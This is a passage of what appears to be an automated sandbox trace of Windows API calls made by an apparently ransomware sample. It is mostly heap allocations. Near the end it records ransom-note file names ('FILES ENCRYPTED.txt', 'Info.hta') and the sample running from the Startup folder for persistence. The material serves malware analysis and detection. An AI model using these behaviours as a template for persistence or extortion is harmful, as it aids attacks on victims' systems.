Size=0xe) returned 0x6ad618 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6ad630 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6ad648 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad660 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad678 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeaf0 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad690 [0146.967] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666ca8, Size=0x80) returned 0x6ab588 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad6a8 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad6c0 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad6d8 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad6f0 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad708 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ad720 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad738 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeb50 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad750 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad768 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ad780 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad798 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ad7b0 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad7c8 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ad7e0 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad7f8 [0146.968] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x67d590 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad810 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad828 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad840 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ad858 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad870 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad888 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeb30 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad8a0 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad8b8 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad8d0 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6aeb60 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad8e8 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad900 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeb70 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad918 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad930 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ad948 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad988 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad9a0 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad9b8 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6ad9d0 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad9e8 [0146.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ada00 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ada18 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ada30 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ada48 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ada60 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeb80 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ada78 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ada90 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adaa8 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adac0 [0146.969] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67d590, Size=0x200) returned 0x6c0da0 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adad8 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeb90 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adaf0 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adb08 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adb20 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adb38 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adb50 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adb68 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adb80 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adb98 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adbb0 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6adbc8 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6adbe0 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adbf8 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adc10 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6adc28 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6adc40 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adc58 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6adc70 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6adc88 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adca0 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adcb8 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adcd0 [0146.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeba0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adce8 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6add00 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6add18 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aebb0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6add30 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6add48 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6add88 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adda0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6addb8 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6addd0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adde8 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ade00 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ade18 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ade30 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ade48 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ade60 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ade78 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ade90 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adea8 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adec0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aded8 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adef0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adf08 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adf20 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adf38 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aebc0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6aebd0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adf50 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adf68 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adf80 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adf98 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adfb0 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6adfc8 [0146.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adfe0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6adff8 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae010 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae028 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae040 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae058 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae070 [0146.971] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6c0da0, Size=0x400) returned 0x6ae170 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae088 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae0a0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae0b8 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae0d0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae0e8 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae100 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae118 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae130 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae148 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f590 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aebe0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f5a8 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67f5c0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f5d8 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f5f0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f608 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f620 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x67f638 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f650 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f668 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f680 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f698 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f6b0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f6c8 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f6e0 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f6f8 [0146.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aebf0 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f710 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f728 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f740 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f758 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f770 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f788 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f7a0 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f7b8 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f7d0 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x67f7e8 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f800 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x67f818 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f830 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f848 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f860 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f878 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f890 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67f8a8 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f8c0 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f8d8 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f8f0 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f908 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f920 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f938 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f950 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f990 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f9a8 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f9c0 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f9d8 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67f9f0 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fa08 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fa20 [0146.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fa38 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fa50 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fa68 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x67fa80 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x666198 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fa98 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fab0 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fac8 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fae0 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67faf8 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fb10 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fb28 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fb40 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fb58 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fb70 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fb88 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fba0 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fbb8 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fbd0 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fbe8 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fc00 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fc18 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fc30 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fc48 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fc60 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fc78 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fc90 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fca8 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x67fcc0 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fcd8 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aec00 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fcf0 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aec10 [0146.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fd08 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fd20 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fd38 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fd50 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fd90 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fda8 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fdc0 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fdd8 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fdf0 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fe08 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fe20 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fe38 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x67fe50 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fe68 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aec20 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fe80 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fe98 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67feb0 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fec8 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fee0 [0146.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x67fef8 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ae170, Size=0x800) returned 0x680178 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681040, Size=0x20) returned 0x665b18 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b18, Size=0x40) returned 0x666ca8 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666ca8, Size=0x80) returned 0x6ab588 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aec90, Size=0x8) returned 0x6aeca0 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeca0, Size=0x10) returned 0x681040 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681040, Size=0x20) returned 0x665b68 [0146.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681070, Size=0x20) returned 0x665b90 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b90, Size=0x40) returned 0x666ca8 [0146.975] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681070, Size=0x20) returned 0x665b90 [0146.975] lstrlenW (lpString="Info.hta") returned 8 [0146.975] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bfd98, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0146.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6bfd98 | out: hHeap=0x630000) returned 1 [0146.975] lstrlenW (lpString="n.exe") returned 5 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b68, Size=0x40) returned 0x666ca8 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681088, Size=0x20) returned 0x665b68 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681088, Size=0x20) returned 0x665b90 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b90, Size=0x40) returned 0x666cf0 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666cf0, Size=0x80) returned 0x6ab588 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x67d590 [0146.975] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d590 | out: hHeap=0x630000) returned 1 [0146.975] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6bfd98, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0146.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cfda0 | out: hHeap=0x630000) returned 1 [0146.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6bfd98 | out: hHeap=0x630000) returned 1 [0146.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeca0, Size=0x8) returned 0x6aec90 [0146.975] lstrlenW (lpString="%windir%;") returned 9 [0146.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665b68 | out: hHeap=0x630000) returned 1 [0146.976] lstrlenW (lpString="C:\\Windows;") returned 11 [0146.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68bd80 | out: hHeap=0x630000) returned 1 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6810a0, Size=0x20) returned 0x665b68 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b68, Size=0x40) returned 0x666cf0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666cf0, Size=0x80) returned 0x6ab588 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x67d590 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, 